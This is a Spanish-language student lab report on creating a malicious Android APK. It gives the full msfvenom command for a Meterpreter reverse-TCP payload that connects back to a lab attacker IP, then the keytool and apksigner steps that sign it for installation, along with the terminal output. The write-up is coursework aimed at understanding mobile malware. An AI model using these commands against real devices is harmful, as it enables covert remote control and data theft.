

Martin Dalla Pozza

Resumen del Trabajo Práctico:

Creación de una APK Maliciosa

Objetivo:

El ejercicio consiste en generar una APK maliciosa, ya sea independiente o mediante la suplantación de una aplicación legítima. El propósito es comprender las técnicas básicas de creación de malware para dispositivos Android y los mecanismos de firma digital necesarios para su instalación.

```

Session Acciones Editar Vista Ayuda
(kali@kali)-[~]
$ msfvenom -p android/meterpreter/reverse_tcp LHOST=10.0.2.15 LPORT=4444 -o malicious.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
No encoder specified, outputting raw payload
Payload size: 10226 bytes
Saved as: malicious.apk

(kali@kali)-[~]
$ keytool -genkey -v -keystore mykeystore.keystore -alias myalias -keyalg RSA -keysize 2048 -validity 10000
Introduzca la contraseña del almacén de claves:
error de herramienta de claves: java.lang.Exception: No se ha generado el par de claves, el alias <myalias> ya existe
java.lang.Exception: No se ha generado el par de claves, el alias <myalias> ya existe
    at java.base/sun.security.tools.keytool.Main.doGenKeyPair(Main.java:1959)
    at java.base/sun.security.tools.keytool.Main.doCommands(Main.java:1180)
    at java.base/sun.security.tools.keytool.Main.run(Main.java:419)
    at java.base/sun.security.tools.keytool.Main.main(Main.java:412)

(kali@kali)-[~]
$ apksigner sign --ks mykeystore.keystore --ks-key-alias myalias malicious.apk
Keystore password for signer #1:

(kali@kali)-[~]
$ apksigner verify malicious.apk && echo "Firma válida" || echo "Firma inválida"
Firma válida

```

Desarrollo:

Para cumplir con el objetivo se utilizó una máquina Kali Linux, que dispone de las herramientas necesarias para la generación de payloads y manipulación de APKs. Los pasos ejecutados fueron los siguientes:

Generación del payload:

Se empleó la herramienta msfvenom del framework Metasploit para crear una APK con un payload de tipo reverse_tcp. El comando utilizado fue:

msfvenom -p android/meterpreter/reverse_tcp LHOST=10.0.2.15 LPORT=4444 -o malicious.apk

Este comando genera un archivo malicious.apk que, al ser ejecutado en un dispositivo Android, establece una conexión inversa hacia la dirección IP 10.0.2.15 (correspondiente a la máquina atacante en un entorno de red NAT) a través del puerto 4444. La salida del comando confirma que el payload se ha guardado correctamente con un tamaño de 10226 bytes.

Firma de la APK:

Las aplicaciones Android deben estar firmadas digitalmente para poder ser instaladas. Dado que el keystore necesario (mykeystore.keystore) ya existía de intentos previos (el error mostrado por keytool indica que el alias myalias ya está presente), se procedió directamente a firmar la APK.

apksigner sign --ks mykeystore.keystore --ks-key-alias myalias malicious.apk

La herramienta apksigner utiliza el keystore y la contraseña correspondiente para agregar la firma digital al archivo malicious.apk, garantizando que la aplicación sea reconocida como válida por el sistema Android.

apksigner verify malicious.apk && echo "Firma válida" || echo "Firma inválida"

Resultados:

Se ha generado una APK maliciosa funcional, identificada como malicious.apk, que incluye un payload de Meterpreter y está firmada digitalmente. Esta APK cumple con los requisitos del enunciado, ya que puede ser utilizada en un entorno controlado para demostrar las técnicas de ataque y los mecanismos de defensa en plataformas móviles.

Limitaciones y consideraciones:

La prueba de instalación y ejecución en un emulador o dispositivo físico no se llevó a cabo debido a limitaciones técnicas relacionadas con la aceleración por hardware (KVM) en la máquina virtual utilizada. No obstante, el proceso de creación y firma es completo y válido, y en un entorno real la APK estaría operativa.

Conclusión:

El ejercicio práctico se ha resuelto, demostrando la capacidad para generar una APK maliciosa y firmarla correctamente, tal como lo solicita la guía. Este trabajo permite comprender las fases iniciales del desarrollo de malware móvil y la importancia de la firma digital en el ecosistema Android.